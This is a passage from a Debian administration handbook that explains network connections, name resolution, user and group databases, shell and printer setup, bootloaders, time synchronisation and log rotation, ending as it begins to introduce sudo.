The generic term “ADSL modem” covers a multitude of devices with very different functions. The modems that are simplest to use with Linux are those that have an Ethernet interface (and not only a USB interface). These tend to be popular; most ADSL Internet service providers lend (or lease) a “box” with Ethernet interfaces. Depending on the type of modem, the configuration required can vary widely.
Some Ethernet modems work with the PPPOE protocol (Point to Point Protocol over Ethernet). The pppoeconf tool (from the package with the same name) will configure the connection. To do so, it modifies the /etc/ppp/peers/dsl-provider
file with the settings provided and records the login information in the /etc/ppp/pap-secrets
and /etc/ppp/chap-secrets
files. It is recommended to accept all modifications that it proposes.
Once this configuration is complete, you can open the ADSL connection with the command, pon dsl-provider and disconnect with poff dsl-provider.
TIP Starting ppp at boot
PPP connections over ADSL are, by definition, intermittent. Since they are usually not billed according to time, there are few downsides to the temptation of keeping them always open. The standard means to do so is to use the init system.
The default init system on Jessie is systemd. Adding an automatically restarting task for the ADSL connection is a simple matter of creating a “unit file” such as
/etc/systemd/system/adsl-connection.service
, with contents such as the following:[Unit]
Description=ADSL connection
[Service]
Type=forking
ExecStart=/usr/sbin/pppd call dsl-provider
Restart=always
[Install]
WantedBy=multi-user.targetOnce this unit file has been defined, it needs to be enabled with systemctl enable adsl-connection. Then the loop can be started manually with systemctl start adsl-connection; it will also be started automatically on boot.
On systems not using systemd (including Wheezy and earlier versions of Debian), the standard SystemV init works differently. On such systems, all that is needed is to add a line such as the following at the end of the
/etc/inittab
file; then, any time the connection is disconnected, init will reconnect it.
adsl:2345:respawn:/usr/sbin/pppd call dsl-providerFor ADSL connections that auto-disconnect on a daily basis, this method reduces the duration of the interruption.
The PPTP (Point-to-Point Tunneling Protocol) protocol was created by Microsoft. Deployed at the beginning of ADSL, it was quickly replaced by PPPOE. If this protocol is forced on you, see Secțiune 10.2.4, „PPTP”.
When a modem is connected to the computer by an Ethernet cable (crossover cable) you typically configure a network connection by DHCP on the computer; the modem automatically acts as a gateway by default and takes care of routing (meaning that it manages the network traffic between the computer and the Internet).
BACK TO BASICS Crossover cable for a direct Ethernet connection
Computer network cards expect to receive data on specific wires in the cable, and send their data on others. When you connect a computer to a local network, you usually connect a cable (straight or crossover) between the network card and a repeater or switch. However, if you want to connect two computers directly (without an intermediary switch or repeater), you must route the signal sent by one card to the receiving side of the other card, and vice-versa. This is the purpose of a crossover cable, and the reason it is used.
Note that this distinction has become almost irrelevant over time, as modern network cards are able do detect the type of cable present and adapt accordingly, so it won't be unusual that both kinds of cable will work in a given location.
Most “ADSL routers” on the market can be used like this, as do most of the ADSL modems provided by Internet services providers.
Many Falcot engineers have a laptop computer that, for professional purposes, they also use at home. The network configuration to use differs according to location. At home, it may be a wifi network (protected by a WPA key), while the workplace uses a wired network for greater security and more bandwidth.
To avoid having to manually connect or disconnect the corresponding network interfaces, administrators installed the network-manager package on these roaming machines. This software enables a user to easily switch from one network to another using a small icon displayed in the notification area of their graphical desktop. Clicking on this icon displays a list of available networks (both wired and wireless), so they can simply choose the network they wish to use. The program saves the configuration for the networks to which the user has already connected, and automatically switches to the best available network when the current connection drops.
In order to do this, the program is structured in two parts: a daemon running as root handles activation and configuration of network interfaces and a user interface controls this daemon. PolicyKit handles the required authorizations to control this program and Debian configured PolicyKit in such a way so that members of the netdev group can add or change Network Manager connections.
Network Manager knows how to handle various types of connections (DHCP, manual configuration, local network), but only if the configuration is set with the program itself. This is why it will systematically ignore all network interfaces in /etc/network/interfaces
for which it is not suited. Since Network Manager doesn't give details when no network connections are shown, the easy way is to delete from /etc/network/interfaces
any configuration for all interfaces that must be managed by Network Manager.
Note that this program is installed by default when the “Desktop Environment” task is chosen during initial installation.
ALTERNATIVE Configuration by “network profile”
More advanced users may want to try the guessnet package for automatic network configuration. A group of test scripts determine which network profile should be activated and configure it on the fly.
Users who prefer to manually select a network profile will prefer the netenv program, found in the package of the same name.
The purpose of assigning names to IP numbers is to make them easier for people to remember. In reality, an IP address identifies a network interface associated with a device such as a network card. Since each machine can have several network cards, and several interfaces on each card, one single computer can have several names in the domain name system.
Each machine is, however, identified by a main (or “canonical”) name, stored in the /etc/hostname
file and communicated to the Linux kernel by initialization scripts through the hostname command. The current value is available in a virtual filesystem, and you can get it with the cat /proc/sys/kernel/hostname command.
BACK TO BASICS
/proc/
and/sys/
, virtual filesystemsThe
/proc/
and/sys/
file trees are generated by “virtual” filesystems. This is a practical means of recovering information from the kernel (by listing virtual files) and communicating them to it (by writing to virtual files).
/sys/
in particular is designed to provide access to internal kernel objects, especially those representing the various devices in the system. The kernel can, thus, share various pieces of information: the status of each device (for example, if it is in energy saving mode), whether it is a removable device, etc. Note that/sys/
has only existed since kernel version 2.6.
Surprisingly, the domain name is not managed in the same way, but comes from the complete name of the machine, acquired through name resolution. You can change it in the /etc/hosts
file; simply write a complete name for the machine there at the beginning of the list of names associated with the address of the machine, as in the following example:
The mechanism for name resolution in Linux is modular and can use various sources of information declared in the /etc/nsswitch.conf
file. The entry that involves host name resolution is hosts
. By default, it contains files dns
, which means that the system consults the /etc/hosts
file first, then DNS servers. NIS/NIS+ or LDAP servers are other possible sources.
NOTE NSS and DNS
Be aware that the commands specifically intended to query DNS (especially host) do not use the standard name resolution mechanism (NSS). As a consequence, they do not take into consideration
/etc/nsswitch.conf
, and thus, not/etc/hosts
either.
DNS (Domain Name Service) is a distributed and hierarchical service mapping names to IP addresses, and vice-versa. Specifically, it can turn a human-friendly name such as www.eyrolles.com
into the actual IP address, 213.244.11.247
.
To access DNS information, a DNS server must be available to relay requests. Falcot Corp has its own, but an individual user is more likely to use the DNS servers provided by their ISP.
The DNS servers to be used are indicated in the /etc/resolv.conf
, one per line, with the nameserver
keyword preceding an IP address, as in the following example:
Note that the /etc/resolv.conf
file may be handled automatically (and overwritten) when the network is managed by NetworkManager or configured via DHCP.
If there is no name server on the local network, it is still possible to establish a small table mapping IP addresses and machine hostnames in the /etc/hosts
file, usually reserved for local network stations. The syntax of this file is very simple: each line indicates a specific IP address followed by the list of any associated names (the first being “completely qualified”, meaning it includes the domain name).
This file is available even during network outages or when DNS servers are unreachable, but will only really be useful when duplicated on all the machines on the network. The slightest alteration in correspondence will require the file to be updated everywhere. This is why /etc/hosts
generally only contains the most important entries.
This file will be sufficient for a small network not connected to the Internet, but with 5 machines or more, it is recommended to install a proper DNS server.
TIP Bypassing DNS
Since applications check the
/etc/hosts
file before querying DNS, it is possible to include information in there that is different from what the DNS would return, and therefore to bypass normal DNS-based name resolution.This allows, in the event of DNS changes not yet propagated, to test access to a website with the intended name even if this name is not properly mapped to the correct IP address yet.
Another possible use is to redirect traffic intended for a specific host to the localhost, thus preventing any communication with the given host. For example, hostnames of servers dedicated to serving ads could be diverted which would bypass these ads resulting in more fluid, less distracting, navigation.
The list of users is usually stored in the /etc/passwd
file, while the /etc/shadow
file stores encrypted passwords. Both are text files, in a relatively simple format, which can be read and modified with a text editor. Each user is listed there on a line with several fields separated with a colon (“:
”).
NOTE Editing system files
The system files mentioned in this chapter are all plain text files, and can be edited with a text editor. Considering their importance to core system functionality, it is always a good idea to take extra precautions when editing system files. First, always make a copy or backup of a system file before opening or altering it. Second, on servers or machines where more than one person could potentially access the same file at the same time, take extra steps to guard against file corruption.
For this purpose, it is enough to use the vipw command to edit the
/etc/passwd
file, or vigr to edit/etc/group
. These commands lock the file in question prior to running the text editor, (vi by default, unless theEDITOR
environment variable has been altered). The-s
option in these commands allows editing the corresponding shadow file.
BACK TO BASICS Crypt, a one-way function
crypt is a one-way function that transforms a string (
A
) into another string (B
) in a way thatA
cannot be derived fromB
. The only way to identifyA
is to test all possible values, checking each one to determine if transformation by the function will produceB
or not. It uses up to 8 characters as input (stringA
) and generates a string of 13, printable, ASCII characters (stringB
).
Here is the list of fields in the /etc/passwd
file:
rhertzog
; DES
, MD5
, SHA-256
or SHA-512
. The special value “x
” indicates that the encrypted password is stored in /etc/shadow
; uid
: unique number identifying each user; gid
: unique number for the user's main group (Debian creates a specific group for each user by default); GECOS
: data field usually containing the user's full name; $HOME
generally points here); BACK TO BASICS Unix group
A Unix group is an entity including several users so that they can easily share files using the integrated permission system (by benefiting from the same rights). You can also restrict use of certain programs to a specific group.
The /etc/shadow
file contains the following fields:
DOCUMENTATION
/etc/passwd
,/etc/shadow
and/etc/group
file formatsThese formats are documented in the following man pages: passwd(5), shadow(5), and group(5).
SECURITY
/etc/shadow
file security
/etc/shadow
, unlike its alter-ego,/etc/passwd
, cannot be read by regular users. Any encrypted password stored in/etc/passwd
is readable by anybody; a cracker could try to “break” (or reveal) a password by one of several “brute force” methods which, simply put, guess at commonly used combinations of characters. This attack — called a "dictionary attack" — is no longer possible on systems using/etc/shadow
.
The following commands allow modification of the information stored in specific fields of the user databases: passwd permits a regular user to change their password, which in turn, updates the /etc/shadow
file; chfn (CHange Full Name), reserved for the super-user (root), modifies the GECOS
field. chsh (CHange SHell) allows the user to change their login shell, however available choices will be limited to those listed in /etc/shells
; the administrator, on the other hand, is not bound by this restriction and can set the shell to any program of their choosing.
Finally, the chage (CHange AGE) command allows the administrator to change the password expiration settings (the -l
option will list the current settings). You can also force the expiration of a password using the passwd -e user
user
command, which will require the user to change their password the next time they log in.
You may find yourself needing to “disable an account” (lock out a user), as a disciplinary measure, for the purposes of an investigation, or simply in the event of a prolonged or definitive absence of a user. A disabled account means the user cannot login or gain access to the machine. The account remains intact on the machine and no files or data are deleted; it is simply inaccessible. This is accomplished by using the command passwd -l user
(lock). Re-enabling the account is done in similar fashion, with the -u
option (unlock).
GOING FURTHER NSS and system databases
Instead of using the usual files to manage lists of users and groups, you could use other types of databases, such as LDAP or db, by using an appropriate NSS (Name Service Switch) module. The modules used are listed in the
/etc/nsswitch.conf
file, under thepasswd
,shadow
andgroup
entries. See Secțiune 11.7.3.1, „Configuring NSS” for a specific example of the use of an NSS module by LDAP.
Groups are listed in the /etc/group
file, a simple textual database in a format similar to that of the /etc/passwd
file, with the following fields:
gid
: unique group identification number;
BACK TO BASICS Working with several groups
Each user may be a member of many groups; one of them is their “main group”. A user's main group is, by default, created during initial user configuration. By default, each file that a user creates belongs to them, as well as to their main group. This is not always desirable; for example, when the user needs to work in a directory shared by a group other than their main group. In this case, the user needs to change their main group using one of the following commands: newgrp, which starts a new shell, or sg, which simply executes a command using the supplied alternate group. These commands also allow the user to join a group to which they do not belong. If the group is password protected, they will need to supply the appropriate password before the command is executed.
Alternatively, the user can set the
setgid
bit on the directory, which causes files created in that directory to automatically belong to the correct group. For more details, see sidebar SECURITYsetgid
directory and sticky bit.The id command displays the current state of a user, with their personal identifier (
uid
variable), current main group (gid
variable), and the list of groups to which they belong (groups
variable).
The addgroup and delgroup commands add or delete a group, respectively. The groupmod command modifies a group's information (its gid
or identifier). The command passwd -g group
changes the password for the group, while the passwd -r -g group
command deletes it.
TIP getent
The getent (get entries) command checks the system databases the standard way, using the appropriate library functions, which in turn call the NSS modules configured in the
/etc/nsswitch.conf
file. The command takes one or two arguments: the name of the database to check, and a possible search key. Thus, the command getent passwd rhertzog will give the information from the user database regarding the userrhertzog
.
One of the first actions an administrator needs to do when setting up a new machine is to create user accounts. This is typically done using the adduser command which takes a user-name for the new user to be created, as an argument.
The adduser command asks a few questions before creating the account, but its usage is fairly straightforward. Its configuration file, /etc/adduser.conf
, includes all the interesting settings: it can be used to automatically set a quota for each new user by creating a user template, or to change the location of user accounts; the latter is rarely useful, but it comes in handy when you have a large number of users and want to divide their accounts over several disks, for instance. You can also choose a different default shell.
BACK TO BASICS Quota
The term “quota” refers to a limit on machine resources that a user is allowed to use. This frequently refers to disk space.
The creation of an account populates the user's home directory with the contents of the /etc/skel/
template. This provides the user with a set of standard directories and configuration files.
In some cases, it will be useful to add a user to a group (other than their default “main” group) in order to grant them additional permissions. For example, a user who is included in the audio group can access audio devices (see sidebar BACK TO BASICS Device access permissions). This can be achieved with a command such as adduser user
group
.
BACK TO BASICS Device access permissions
Each hardware peripheral device is represented under Unix with a special file, usually stored in the file tree under
/dev/
(DEVices). Two types of special files exist according to the nature of the device: “character mode” and “block mode” files, each mode allowing for only a limited number of operations. While character mode limits interaction with read/write operations, block mode also allows seeking within the available data. Finally, each special file is associated with two numbers (“major” and “minor”) that identify the device to the kernel in a unique manner. Such a file, created by the mknod command, simply contains a symbolic (and more human-friendly) name.The permissions of a special file map to the permissions necessary to access the device itself. Thus, a file such as
/dev/mixer
, representing the audio mixer, only has read/write permissions for the root user and members of theaudio
group. Only these users can operate the audio mixer.It should be noted that the combination of udev, consolekit and policykit can add additional permissions to allow users physically connected to the console (and not through the network) to access to certain devices.
Command interpreters (or shells) can be a user's first point of contact with the computer, and they must therefore be rather friendly. Most of them use initialization scripts that allow configuration of their behavior (automatic completion, prompt text, etc.).
bash, the standard shell, uses the /etc/bash.bashrc
initialization script for “interactive” shells, and /etc/profile
for “login” shells.
BACK TO BASICS Login shell and (non) interactive shell
In simple terms, a login shell is invoked when you login to the console either locally or remotely via ssh, or when you run an explicit bash --login command. Regardless of whether it is a login shell or not, a shell can be interactive (in an xterm-type terminal for instance); or non-interactive (when executing a script).
DISCOVERY Other shells, other scripts
Each command interpreter has a specific syntax and its own configuration files. Thus, zsh uses
/etc/zshrc
and/etc/zshenv
; csh uses/etc/csh.cshrc
,/etc/csh.login
and/etc/csh.logout
. The man pages for these programs document which files they use.
For bash, it is useful to activate “automatic completion” in the /etc/bash.bashrc
file (simply uncomment a few lines).
BACK TO BASICS Automatic completion
Many command interpreters provide a completion feature, which allows the shell to automatically complete a partially typed command name or argument when the user hits the Tab key. This lets users work more efficiently and be less error-prone.
This function is very powerful and flexible. It is possible to configure its behavior according to each command. Thus, the first argument following apt-get will be proposed according to the syntax of this command, even if it does not match any file (in this case, the possible choices are
install
,remove
,upgrade
, etc.).
BACK TO BASICS The tilde, a shortcut to HOME
The tilde is often used to indicate the directory to which the environment variable,
HOME
, points (being the user's home directory, such as/home/rhertzog/
). Command interpreters automatically make the substitution:~/hello.txt
becomes/home/rhertzog/hello.txt
.The tilde also allows access to another user's home directory. Thus,
~rmas/bonjour.txt
is synonymous with/home/rmas/bonjour.txt
.
In addition to these common scripts, each user can create their own ~/.bashrc
and ~/.bash_profile
to configure their shell. The most common changes are the addition of aliases; these are words that are automatically replaced with the execution of a command, which makes it faster to invoke that command. For instance, you could create the la
alias for the command ls -la | less command; then you only have to type la to inspect the contents of a directory in detail.
BACK TO BASICS Environment variables
Environment variables allow storage of global settings for the shell or various other programs called. They are contextual (each process has its own set of environment variables) but inheritable. This last characteristic offers the possibility for a login shell to declare variables which will be passed down to all programs it executes.
Setting default environment variables is an important element of shell configuration. Leaving aside the variables specific to a shell, it is preferable to place them in the /etc/environment
file, since it is used by the various programs likely to initiate a shell session. Variables typically defined there include ORGANIZATION
, which usually contains the name of the company or organization, and HTTP_PROXY
, which indicates the existence and location of an HTTP proxy.
TIP All shells configured identically
Users often want to configure their login and interactive shells in the same way. To do this, they choose to interpret (or “source”) the content from
~/.bashrc
in the~/.bash_profile
file. It is possible to do the same with files common to all users (by calling/etc/bash.bashrc
from/etc/profile
).
Printer configuration used to cause a great many headaches for administrators and users alike. These headaches are now mostly a thing of the past, thanks to cups, the free print server using the IPP protocol (Internet Printing Protocol).
This program is divided over several Debian packages: cups is the central print server; cups-bsd is a compatibility layer allowing use of commands from the traditional BSD printing system (lpd daemon, lpr and lpq commands, etc.); cups-client contains a group of programs to interact with the server (block or unblock a printer, view or delete print jobs in progress, etc.); and finally, cups-driver-gutenprint contains a collection of additional printer drivers for cups.
COMMUNITY CUPS
CUPS (Common Unix Printing System) is a project (and a trademark) managed by Apple, Inc.
After installation of these different packages, cups is administered easily through a web interface accessible at the local address: http://localhost:631/
. There you can add printers (including network printers), remove, and administer them. You can also administer cups with the graphical interface provided by the desktop environment. Finally, there is also the system-config-printer graphical interface (from the Debian package of the same name).
NOTE Obsolescence of
/etc/printcap
cups no longer uses the
/etc/printcap
file, which is now obsolete. Programs that rely upon this file to get a list of available printers will, thus, fail. To avoid this problem, delete this file and make it a symbolic link (see sidebar BACK TO BASICS Symbolic links) to/var/run/cups/printcap
, which is maintained by cups to ensure compatibility.
It is probably already functional, but it is always good to know how to configure and install the bootloader in case it disappears from the Master Boot Record. This can occur after installation of another operating system, such as Windows. The following information can also help you to modify the bootloader configuration if needed.
BACK TO BASICS Master boot record
The Master Boot Record (MBR) occupies the first 512 bytes of the first hard disk, and is the first thing loaded by the BIOS to hand over control to a program capable of booting the desired operating system. In general, a bootloader gets installed in the MBR, removing its previous content.
CULTURE udev and
/dev/
The
/dev/
directory traditionally houses so-called “special” files, intended to represent system peripherals (see sidebar BACK TO BASICS Device access permissions). Once upon a time, it used to contain all special files that could potentially be used. This approach had a number of drawbacks among which the fact that it restricted the number of devices that one could use (due to the hardcoded list of names), and that it was impossible to know which special files were actually useful.Nowadays, the management of special files is entirely dynamic and matches better the nature of hot-swappable computer devices. The kernel cooperates with udev to create and delete them as needed when the corresponding devices appear and disappear. For this reason,
/dev/
doesn't need to be persistent and is thus a RAM-based filesystem that starts empty and contains only the relevant entries.The kernel communicates lots of information about any newly added device and hands out a pair of major/minor numbers to identify it. With this udevd can create the special file under the name and with the permissions that it wants. It can also create aliases and perform additional actions (such as initialization or registration tasks). udevd's behavior is driven by a large set of (customizable) rules.
With dynamically assigned names, you can thus keep the same name for a given device, regardless of the connector used or the connection order, which is especially useful when you use various USB peripherals. The first partition on the first hard drive can then be called
/dev/sda1
for backwards compatibility, or/dev/root-partition
if you prefer, or even both at the same time since udevd can be configured to automatically create a symbolic link.In ancient times, some kernel modules did automatically load when you tried to access the corresponding device file. This is no longer the case, and the peripheral's special file no longer exists prior to loading the module; this is no big deal, since most modules are loaded on boot thanks to automatic hardware detection. But for undetectable peripherals (such as very old disk drives or PS/2 mice), this doesn't work. Consider adding the modules,
floppy
,psmouse
andmousedev
to/etc/modules
in order to force loading them on boot.
Configuration of the bootloader must identify the different hard drives and their partitions. Linux uses “block” special files stored in the /dev/
directory, for this purpose. Since Debian Squeeze, the naming scheme for hard drives has been unified by the Linux kernel, and all hard drives (IDE/PATA, SATA, SCSI, USB, IEEE 1394) are now represented by /dev/sd*
.
Each partition is represented by its number on the disk on which it resides: for instance, /dev/sda1
is the first partition on the first disk, and /dev/sdb3
is the third partition on the second disk.
The PC architecture (or “i386”, including its younger cousin “amd64”) has long been limited to using the “MS-DOS” partition table format, which only allows four “primary” partitions per disk. To go beyond this limitation under this scheme, one of them has to be created as an “extended” partition, and it can then contain additional “secondary” partitions. These secondary partitions are numbered from 5. Thus the first secondary partition could be /dev/sda5
, followed by /dev/sda6
, etc.
Another restriction of the MS-DOS partition table format is that it only allows disks up to 2 TiB in size, which is becoming a real problem with recent disks.
A new partition table format called GPT loosens these constraints on the number of partitions (it allows up to 128 partitions when using standard settings) and on the size of the disks (up to 8 ZiB, which is more than 8 billion terabytes). If you intend to create many physical partitions on the same disk, you should therefore ensure that you are creating the partition table in the GPT format when partitioning your disk.
It is not always easy to remember what disk is connected to which SATA controller, or in third position in the SCSI chain, especially since the naming of hotplugged hard drives (which includes among others most SATA disks and external disks) can change from one boot to another. Fortunately, udev creates, in addition to /dev/sd*
, symbolic links with a fixed name, which you could then use if you wished to identify a hard drive in a non-ambiguous manner. These symbolic links are stored in /dev/disk/by-id
. On a machine with two physical disks, for example, one could find the following:
mirexpress:/dev/disk/by-id#
ls -l
total 0
lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda
lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1
lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2
[...]
lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 -> ../../sdb
lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part1 -> ../../sdb1
lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part2 -> ../../sdb2
[...]
lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda
lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 -> ../../sda1
lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 -> ../../sda2
[...]
lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 -> ../../sdb
lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part1 -> ../../sdb1
lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part2 -> ../../sdb2
[...]
lrwxrwxrwx 1 root root 9 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 -> ../../sdc
lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 -> ../../sdc1
lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 -> ../../sdc2
[...]
lrwxrwxrwx 1 root root 9 23 jul. 08:58 wwn-0x5000c50015c4842f -> ../../sda
lrwxrwxrwx 1 root root 10 23 jul. 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1
[...]
mirexpress:/dev/disk/by-id#
Note that some disks are listed several times (because they behave simultaneously as ATA disks and SCSI disks), but the relevant information is mainly in the model and serial numbers of the disks, from which you can find the peripheral file.
The example configuration files given in the following sections are based on the same setup: a single SATA disk, where the first partition is an old Windows installation and the second contains Debian GNU/Linux.
LILO (LInux LOader) is the oldest bootloader — solid but rustic. It writes the physical address of the kernel to boot on the MBR, which is why each update to LILO (or its configuration file) must be followed by the command lilo. Forgetting to do so will render a system unable to boot if the old kernel was removed or replaced as the new one will not be in the same location on the disk.
LILO's configuration file is /etc/lilo.conf
; a simple file for standard configuration is illustrated in the example below.
Exemplu 8.3. LILO configuration file
GRUB (GRand Unified Bootloader) is more recent. It is not necessary to invoke it after each update of the kernel; GRUB knows how to read the filesystems and find the position of the kernel on the disk by itself. To install it on the MBR of the first disk, simply type grub-install /dev/sda.
NOTE Disk names for GRUB
GRUB can only identify hard drives based on information provided by the BIOS.
(hd0)
corresponds to the first disk thus detected,(hd1)
the second, etc. In most cases, this order corresponds exactly to the usual order of disks under Linux, but problems can occur when you associate SCSI and IDE disks. GRUB stores correspondences that it detects in the file/boot/grub/device.map
. If you find errors there (because you know that your BIOS detects drives in a different order), correct them manually and run grub-install again. grub-mkdevicemap can help creating adevice.map
file from which to start.Partitions also have a specific name in GRUB. When you use “classical” partitions in MS-DOS format, the first partition on the first disk is labeled,
(hd0,msdos1)
, the second(hd0,msdos2)
, etc.
GRUB 2 configuration is stored in /boot/grub/grub.cfg
, but this file (in Debian) is generated from others. Be careful not to modify it by hand, since such local modifications will be lost the next time update-grub is run (which may occur upon update of various packages). The most common modifications of the /boot/grub/grub.cfg
file (to add command line parameters to the kernel or change the duration that the menu is displayed, for example) are made through the variables in /etc/default/grub
. To add entries to the menu, you can either create a /boot/grub/custom.cfg
file or modify the /etc/grub.d/50_custom
file. For more complex configurations, you can modify other files in /etc/grub.d
, or add to them; these scripts should return configuration snippets, possibly by making use of external programs. These scripts are the ones that will update the list of kernels to boot: 10_linux
takes into consideration the installed Linux kernels; 20_linux_xen
takes into account Xen virtual systems, and 30_os-prober
lists other operating systems (Windows, OS X, Hurd).
Yaboot is the bootloader used by old Macintosh computers using PowerPC processors. They do not boot like PCs, but rely on a “bootstrap” partition, from which the BIOS (or OpenFirmware) executes the loader, and on which the ybin program installs yaboot and its configuration file. You will only need to run this command again if the /etc/yaboot.conf
is modified (it is duplicated on the bootstrap partition, and yaboot knows how to find the position of the kernels on the disks).
Before executing ybin, you must first have a valid /etc/yaboot.conf
. The following is an example of a minimal configuration.
Exemplu 8.4. Yaboot configuration file
The many elements listed in this section are good to know for anyone who wants to master all aspects of configuration of the GNU/Linux system. They are, however, treated briefly and frequently refer to the documentation.
BACK TO BASICS Symbolic links
A symbolic link is a pointer to another file. When you access it, the file to which it points is opened. Removal of the link will not cause deletion of the file to which it points. Likewise, it does not have its own set of permissions, but rather retains the permissions of its target. Finally, it can point to any type of file: directories, special files (sockets, named pipes, device files, etc.), even other symbolic links.
The ln -s
target
link-name
command creates a symbolic link, namedlink-name
, pointing totarget
.If the target does not exist, then the link is “broken” and accessing it will result in an error indicating that the target file does not exist. If the link points to another link, you will have a “chain” of links that turns into a “cycle” if one of the targets points to one of its predecessors. In this case, accessing one of the links in the cycle will result in a specific error (“too many levels of symbolic links”); this means the kernel gave up after several rounds of the cycle.
The timezone, configured during initial installation, is a configuration item for the tzdata package. To modify it, use the dpkg-reconfigure tzdata command, which allows you to choose the timezone to be used in an interactive manner. Its configuration is stored in the /etc/timezone
file. Additionally, the corresponding file in the /usr/share/zoneinfo
directory is copied into /etc/localtime
; this file contains the rules governing the dates where daylight saving time is active, for countries that use it.
When you need to temporarily change the timezone, use the TZ
environment variable, which takes priority over the configured system default:
$
date
Thu Feb 19 11:25:18 CET 2015
$
TZ="Pacific/Honolulu" date
Thu Feb 19 00:25:21 HST 2015
NOTE System clock, hardware clock
There are two time sources in a computer. A computer's motherboard has a hardware clock, called the “CMOS clock”. This clock is not very precise, and provides rather slow access times. The operating system kernel has its own, the software clock, which it keeps up to date with its own means (possibly with the help of time servers, see Secțiune 8.9.2, „Time Synchronization”). This system clock is generally more accurate, especially since it doesn't need access to hardware variables. However, since it only exists in live memory, it is zeroed out every time the machine is booted, contrary to the CMOS clock, which has a battery and therefore “survives” rebooting or halting of the machine. The system clock is, thus, set from the CMOS clock during boot, and the CMOS clock is updated on shutdown (to take into account possible changes or corrections if it has been improperly adjusted).
In practice, there is a problem, since the CMOS clock is nothing more than a counter and contains no information regarding the time zone. There is a choice to make regarding its interpretation: either the system considers it runs in universal time (UTC, formerly GMT), or in local time. This choice could be a simple shift, but things are actually more complicated: as a result of daylight saving time, this offset is not constant. The result is that the system has no way to determine whether the offset is correct, especially around periods of time change. Since it is always possible to reconstruct local time from universal time and the timezone information, we strongly recommend using the CMOS clock in universal time.
Unfortunately, Windows systems in their default configuration ignore this recommendation; they keep the CMOS clock on local time, applying time changes when booting the computer by trying to guess during time changes if the change has already been applied or not. This works relatively well, as long as the system has only Windows running on it. But when a computer has several systems (whether it be a “dual-boot” configuration or running other systems via virtual machine), chaos ensues, with no means to determine if the time is correct. If you absolutely must retain Windows on a computer, you should either configure it to keep the CMOS clock as UTC (setting the registry key
HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation\RealTimeIsUniversal
to “1” as a DWORD), or use hwclock --localtime --set on the Debian system to set the hardware clock and mark it as tracking the local time (and make sure to manually check your clock in spring and autumn).
Time synchronization, which may seem superfluous on a computer, is very important on a network. Since users do not have permissions allowing them to modify the date and time, it is important for this information to be precise to prevent confusion. Furthermore, having all of the computers on a network synchronized allows better cross-referencing of information from logs on different machines. Thus, in the event of an attack, it is easier to reconstruct the chronological sequence of actions on the various machines involved in the compromise. Data collected on several machines for statistical purposes won't make a great deal of sense if they are not synchronized.
BACK TO BASICS NTP
NTP (Network Time Protocol) allows a machine to synchronize with others fairly accurately, taking into consideration the delays induced by the transfer of information over the network and other possible offsets.
While there are numerous NTP servers on the Internet, the more popular ones may be overloaded. This is why we recommend using the pool.ntp.org NTP server, which is, in reality, a group of machines that have agreed to serve as public NTP servers. You could even limit use to a sub-group specific to a country, with, for example, us.pool.ntp.org for the United States, or ca.pool.ntp.org for Canada, etc.
However, if you manage a large network, it is recommended that you install your own NTP server, which will synchronize with the public servers. In this case, all the other machines on your network can use your internal NTP server instead of increasing the load on the public servers. You will also increase homogeneity with your clocks, since all the machines will be synchronized on the same source, and this source is very close in terms of network transfer times.
Since work stations are regularly rebooted (even if only to save energy), synchronizing them by NTP at boot is enough. To do so, simply install the ntpdate package. You can change the NTP server used if needed by modifying the /etc/default/ntpdate
file.
Servers are only rarely rebooted, and it is very important for their system time to be correct. To permanently maintain correct time, you would install a local NTP server, a service offered in the ntp package. In its default configuration, the server will synchronize with pool.ntp.org and provide time in response to requests coming from the local network. You can configure it by editing the /etc/ntp.conf
file, the most significant alteration being the NTP server to which it refers. If the network has a lot of servers, it may be interesting to have one local time server which synchronizes with the public servers and is used as a time source by the other servers of the network.
GOING FURTHER GPS modules and other time sources
If time synchronization is particularly crucial to your network, it is possible to equip a server with a GPS module (which will use the time from GPS satellites) or a DCF-77 module (which will sync time with the atomic clock near Frankfurt, Germany). In this case, the configuration of the NTP server is a little more complicated, and prior consultation of the documentation is an absolute necessity.
Log files can grow, fast, and it is necessary to archive them. The most common scheme is a rotating archive: the log file is regularly archived, and only the latest X
archives are retained. logrotate, the program responsible for these rotations, follows directives given in the /etc/logrotate.conf
file and all of the files in the /etc/logrotate.d/
directory. The administrator may modify these files, if they wish to adapt the log rotation policy defined by Debian. The logrotate(1) man page describes all of the options available in these configuration files. You may want to increase the number of files retained in log rotation, or move the log files to a specific directory dedicated to archiving them rather than delete them. You could also send them by e-mail to archive them elsewhere.
The logrotate program is executed daily by the cron scheduling program (described in Secțiune 9.7, „Scheduling Tasks with cron and atd”).
Frequently, several administrators work on the same network. Sharing the root passwords is not very elegant, and opens the door for abuse due to the anonymity such sharing creates. The solution to this problem is the sudo program, which allows certain users to execute certain commands with special rights. In the most common use case, sudo allows a trusted user to execute any command as root. To do so, the user simply executes sudo command
